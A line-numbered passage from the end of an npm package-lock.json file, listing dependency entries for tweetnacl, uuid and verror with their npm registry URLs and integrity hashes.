417 | "requires": {
418 | "safe-buffer": "5.1.2"
419 | }
420 | },
421 | "tweetnacl": {
422 | "version": "0.14.5",
423 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
424 | "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=",
425 | "optional": true
426 | },
427 | "uuid": {
428 | "version": "3.2.1",
429 | "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz",
430 | "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA=="
431 | },
432 | "verror": {
433 | "version": "1.10.0",
434 | "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
435 | "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
436 | "requires": {
437 | "assert-plus": "1.0.0",
438 | "core-util-is": "1.0.2",
439 | "extsprintf": "1.3.0"
440 | }
441 | }
442 | }
443 | }
444 |
--------------------------------------------------------------------------------